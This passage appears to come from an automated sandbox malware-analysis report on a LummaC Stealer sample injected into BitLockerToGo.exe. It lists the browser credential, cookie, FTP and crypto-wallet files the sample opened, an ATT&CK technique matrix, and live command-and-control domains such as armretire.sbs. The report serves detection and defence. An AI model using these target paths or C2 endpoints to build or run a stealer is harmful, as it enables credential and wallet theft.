Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1922219151.000000000298F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6984, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
armretire.sbs	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
strikebripm.sbs	true	unknown
ostracizez.sbs	true	unknown
offybirhtdi.sbs	true	unknown
mediavelk.sbs	true	unknown
definitib.sbs	true	unknown
elaboretib.sbs	true	unknown
https://armretire.sbs/api	true	unknown
activedomest.sbs	true	unknown
arenbootk.sbs	true	unknown
armretire.sbs	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/aws/jsii	StudioDemo.exe, program.js.0.dr	false		unknown
http://json-schema.org/schema	StudioDemo.exe, program.js.0.dr	false		unknown
https://github.com/jprichardson/node-fs-extra/issues/269	program.js.0.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://armretire.sbs/#	BitLockerToGo.exe, 00000001.00000003.1991166032.0000000002922000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2027822964.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026428559.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2026944627.000000000292A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2016768984.0000000002922000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/zitadel/zitadel/blob/new-eventstore/cmd/zitadel/startup.yaml.	StudioDemo.exe	false		unknown
https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#	program.js.0.dr	false		unknown
http://json-schema.org/draft-07/schema	StudioDemo.exe, program.js.0.dr	false		unknown
https://armretire.sbs/v	BitLockerToGo.exe, 00000001.00000003.1979642936.000000000299D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://armretire.sbs/	BitLockerToGo.exe, 00000001.00000003.2026676003.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962791647.000000000299D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://armretire.sbs/apis	BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991144230.0000000002997000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991573491.0000000002999000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://json-schema.org/draft-07/schema#	program.js.0.dr	false		unknown
https://aws.amazon.com	StudioDemo.exe, program.js.0.dr	false		unknown
https://armretire.sbs/apie0	BitLockerToGo.exe, 00000001.00000003.1990912227.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1979529690.00000000029AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://armretire.sbs/apiAnc	BitLockerToGo.exe, 00000001.00000003.1991014838.000000000298C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E2E000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E27000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://armretire.sbs:443/api	BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962626455.0000000004DDA000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1942645265.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1979503712.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000001.00000003.1949462562.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
